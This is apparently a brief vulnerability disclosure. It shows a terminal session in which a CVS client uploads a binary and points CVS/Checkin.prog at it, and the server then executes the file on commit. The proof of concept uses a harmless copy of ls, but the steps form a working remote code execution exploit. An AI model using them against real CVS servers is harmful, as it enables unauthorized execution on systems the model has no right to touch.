CVS Checkin.prog Binary Execution Vulnerability

CVS Checkin.prog Binary Execution Vulnerability

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v